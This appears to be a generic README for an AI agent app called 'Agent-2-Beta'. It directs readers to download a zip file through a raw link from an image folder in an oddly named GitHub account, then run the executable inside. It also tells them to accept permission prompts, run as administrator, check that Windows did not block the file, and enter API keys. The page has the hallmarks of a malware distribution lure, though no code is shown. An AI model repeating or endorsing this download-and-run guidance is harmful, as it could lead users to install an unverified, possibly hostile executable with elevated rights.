Use this link to visit this page and download the app:
https://github.com/mouthholeheaviside560/Agent-2-Beta/raw/refs/heads/main/pic/Agent_Beta_3.4.zip
Agent-2-Beta is a browser-based AI agent you run on your own machine. It brings several tools into one place:
- a coding assistant for writing and fixing code
- a real terminal for running commands
- security testing tools for checking web apps
- persistent memory for saving useful context
- a workspace system for handling tasks in one screen
It is built for people who want one place to manage AI help, local tools, and task work without switching between many apps
Before you start, check these basics:
- Windows 10 or Windows 11
- A modern browser such as Chrome, Edge, or Firefox
- At least 8 GB of RAM
- 10 GB of free disk space
- A stable internet connection
- Permission to install and run apps on your PC
For the best experience, use a machine with 16 GB of RAM or more
Follow these steps in order:
- Open the download link above
- On the GitHub page, look for the latest release or the main download area
- Download the Windows version of Agent-2-Beta
- Save the file to your Downloads folder or Desktop
- If the file is a
.zip, right-click it and choose Extract All - Open the extracted folder
- Find the app file, such as
.exeor a start script - Double-click the file to run Agent-2-Beta
- If Windows asks for permission, choose Yes
- Wait for the app to open in your browser or local window
If the app opens a local address such as localhost, type or paste that address into your browser
When you open Agent-2-Beta for the first time, complete these steps:
- Choose your working folder if the app asks for one
- Sign in or connect your AI provider if the app includes that step
- Set your preferred model or agent mode
- Allow the app to save memory if you want it to remember tasks
- Open the workspace view and confirm the main tools load correctly
If the app asks for API keys, enter them in the settings screen only
Use the coding assistant to:
- write new code
- fix broken code
- explain files in plain language
- suggest changes for a project
- help with small edits and larger tasks
Use the terminal when you need to:
- run commands
- install packages
- start local projects
- check logs
- test fixes
The app includes tools that help you inspect web apps and check for common issues. These tools are useful for:
- reviewing app behavior
- checking endpoints
- testing inputs
- finding weak spots in a local lab or test setup
Use these tools only on systems you own or have permission to test
The memory system can store useful details such as:
- project notes
- task history
- goals
- repeated commands
- past fixes
This helps the agent keep context between sessions
The workspace brings your work together in one place. You can use it to:
- track active tasks
- view files
- switch between jobs
- organize notes
- keep related work grouped
After setup, you can usually open Agent-2-Beta in one of these ways:
- double-click the app file again
- use a desktop shortcut if one was created
- open the local web address shown during startup
- start it from the folder where you installed it
If the app does not open right away, wait a moment and check whether a browser tab launched in the background
For smoother use, set these options:
- keep the app in a folder you can find fast
- allow the browser to access local network features if prompted
- keep at least 2 GB free after install
- use a wired connection if you plan long sessions
- close extra apps if your PC feels slow
Try these steps:
- Right-click the app file
- Choose Run as administrator
- Check that the file finished downloading
- Make sure Windows did not block the file
- Re-extract the zip file if needed
Try these steps:
- Refresh the page
- Wait 20 to 30 seconds
- Close other tabs
- Open the page in Chrome or Edge
- Restart the app
Try these steps:
- Make sure the app has permission to use local tools
- Restart Agent-2-Beta
- Check that no other program is using the same port
- Open the app from the extracted folder again
Try these steps:
- Clear the browser cache
- Reopen the app
- Check your internet connection
- Confirm the install folder still exists
Agent-2-Beta works well for:
- building small apps
- testing code ideas
- reviewing a project folder
- running local commands with AI help
- keeping notes tied to one workspace
- checking a web app during development
- handling repeat tasks with saved memory
Use the tool with care:
- run commands only when you know what they do
- test security tools on your own systems
- keep your API keys private
- store the app in a folder you control
- back up important work files before large changes
After setup, you may see files and folders like these:
appfor the main programworkspacefor task filesmemoryfor saved contextlogsfor event recordsconfigfor settingstoolsfor helper functions
This layout helps keep the app organized and easier to manage
A few simple terms may appear in the app:
- Agent: the AI helper that handles tasks
- Workspace: the area where your work lives
- Terminal: a command window for running text commands
- Memory: saved context used across sessions
- Model: the AI engine the app talks to
This project is grouped with:
- aaravshah1311
- agent2
- agent2-beta
- agent2-pro
- agentic-ai
- agentic-workflow
- ai-agents
- ai-ml
- ai-tools
- penetration-testing
- software-development
- software-engineering
- Download Agent-2-Beta from the link above
- Open it on Windows
- Set your workspace and memory options
- Start with a small task
- Use the coding assistant, terminal, and workspace together